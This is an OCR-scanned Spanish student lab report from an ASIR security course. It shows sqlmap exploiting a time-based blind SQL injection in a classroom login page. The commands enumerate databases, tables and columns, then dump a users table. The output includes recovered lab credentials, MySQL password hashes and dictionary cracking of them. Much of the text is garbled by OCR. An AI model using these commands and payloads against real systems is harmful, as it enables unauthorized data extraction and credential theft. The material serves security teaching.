SEGURIDAD Y
ALTA
DISPONIBILIDAD#R

2° ASIR ILE.S. Ldzaro Cordenos'l I

Autor: Fernando Zapata
2015



SEGURIDAD Y ALTA DISPONIBILIDAD

Se selecciona la ruta del navegador

Al dar error, se quita la parte
/ |:| 172.26,104.41/carpetas_v XV [ https

fwanw.google.es/s

google.es/ no esta ¢ X

L C [1172.26.104.41/c

Fuera

sqlmap.py --url=http://172.26.104.41/carpetas usuarios/2asir03/login.php?user= --
dbs

Nos indica las bases de datos que existen

snsglmaprsglmap.py ——url=http:-/-172.26.104. 4 carpetas_usuarios-2asirB3-login.php?user=

>

http://sqlmap.oryg

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end user
responsibility to obey all applicable local. state and federal laws. Developers assume no liahility and are not respo
ible for any misuse or damage caused by this program

[=*] starting at 11:81:44

glmap resuned the following injection point<{s> from stored session:
[Parameter: user (GET>
Type: ANDAOR time-based hlind
Title: MySQL >= 5.8.12 AND time-based hlind (SELECI)
Payload: user=' AND (SELECT #* FROM (SELECT<(SLEEP(5>>)>zKpJ>» AND *TUY¥1'="TUY¥1

weh server operating system: Windows

weh application technology: Apache 2.4.4, PHP 5.4.1%9
[hack—end DBMS: MySQL 5.8.12

o you want sglmap to try to optimize value(s>» for DBMS delay responses {option ’

——time—sec’>? [¥/nl y

La que se va a sacar informacién es dbasir203

lavailable datahases [31:
[#] dbZasir@3

[#] information_schema
[#] test

[#] zshutting down at 11:13:88

C:sglmap>
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Para sacar las tablas se selecciona la database con -D nombre BBDD

sqlmap.py --url=http://172.26.104.41/carpetas usuarios/2asir03/login.php?user= --
D db2asir03 --tables

IC:nsglmapPsglmap.py ——url=http:/7172.26.1684.41 /carpetas_usuarios 2asirB3-login.php?user= -D dbZasirB3 ——tables

>

http:/7sglmap.ory

[*] legal disclaimer: Usage of sqglmap for attacking targets without prior mutual consent is illegal. It is the end user’
= responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
lsible for any misuse or damage caused by this program

[#*] starting at 11:21:41

lsglmap resumed the following injection point<{s» from stored session:

[Parameter: user (GEI)
Type: AND-OR time-haszed hlind
Title: MySQL >= 5.@.12 AND time-based blind (SELECT)
Payload: user=' AND <SELECT = FROM (SELECT(SLEEP{5>>)zKpJ> AND ‘'TUY1’='TUY¥1

webh server operating system: Windows
webh application technology: fApache 2.4.4. PHP 5.4.19
(hack—end DBMS: MySQL 5.8.12

Se ve el resultado que contiene una table.

Databhase: db2asir@3
[1 tablel

[#] shutting down at 11:26:1%

Se acceden alas columnas de la table usuarios

sglmap.py --url=http://172.26.104.41/carpetas usuarios/2asir03/login.php?user=--T
usuarios --columns
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C:wsglmaprsglmap.py ——url=http:-/-172_26.1084_41 scarpetas_usuvarios-2azirA3-login.phpfuser= -T usuwariozs ——columns

>

http://sqlmap.oryg

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end user’
s responsibility to obey all applicable local, state and federal laws. Developers assume no liabhility and are not respon
2ible for any misusze or damage caused by this progran

[=] starting at 11:26:27

sglmap resumed the following injection point<s) from stored session:

Parameter: user (GEI>
yp AND-OR time-hbazed bhlind
Title: MySQL 5.A.12 AND time—based blind (SELECT>
Payload: user AND (SELECT » FROM (SELECT(SLEEP<5>>»zKpJ> AND 'TUY1’="TUY¥1

web server operating system: Windows
web application technology: Apache 2.4.4. PHP 5.4.19
back—end DBMS: MySQL 5.8.12

do you want sglmap to try to optimize valueds)> for DBMS delay responses <option ‘—time—sec’?»? [¥/nl vy

Con la siguiente orden lo vuelcas a un fichero

sglmap.py --url=http://172.26.104.41/carpetas usuarios/2asir03/login.php?user= --
T usuarios --dump

Para sacar la clave y pass

sqgqlmap.py --url=http://172.26.104.41/carpetas usuarios/2asir03/login.php?user= -T
usuarios —--dump

I ssnsglmaprsglmap.py —url=http: 7172 .26.1084.41 /carpetas_usuarios- 2asirB3-login.php?user= -T uwsuarios —C
U;;gg?psqlmap.py [options]

zglmap.py: error: no such option: —C

Press Enter to continue...

sssglmaprsglmap.py —url=http: #7172 .26.184. 41 /carpetas_usuarios-2asirB3-login.php?user= -T uwsuarios -G 1
——dump

>

http: /7sglmap.oryg
[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent iz jillegal. It is
= responsibility to obey all applicable local. state and federal laws. Developers assume no liability and
sible for any misuse or damage caused by this program

[#] starting at 12:84:38

sglmap resumed the following injection point<s? from stored session:

Parameter: user (GET>
Type: AMD-0OR time-based hlind
Titlez MySQL >= 5.@.12 AND time—based blind (SELECT)>
Payload: user AND <SELECT = FROM (SELECT<SLEEP<5>>>zKpJ> AND ‘TUY¥1"="TU¥1

server operating system: Windows
y application technology: fApache 2.4.4, PHP 5.4.19
hack—end DBMS: MySQL 5.8.12
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En esta table existian dos usuarios, como se puede ver en la foto. El escaneo fue mas largo
por este motivo.

AUN asi se puede ver como los login son

LOGIN | PASSWORD

Asir03 feacher

Asir04 student

do vou want sglmap to try to optimize value{s> for DBMS delav responses {option '—time—sec’'>? [¥/nl y
2

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N1 vy

do you want to crack them via a dictionary-haszed attack? [¥r n-gl v

what dictionary do you want to use?
[1] default dictionary file ’C:“\Python2?~sglmapstxt wordlist.zip’ {(press Enter)

[2] custom dictionary file
53] file with list of dictionary files

do you want to use common password suffixes? C(slow!d> [ysN]1 y

Database: db2asird3

*377F15BF42CA46 DA76BCE1ABA146ARBY43F679F1 (teacher)
*13IBEBFCD43112F3D9489Bl93F5489ZCB7BZZBHH (student>

[#] shutting down at 12:36:008

C:“Python2?“sglmap>




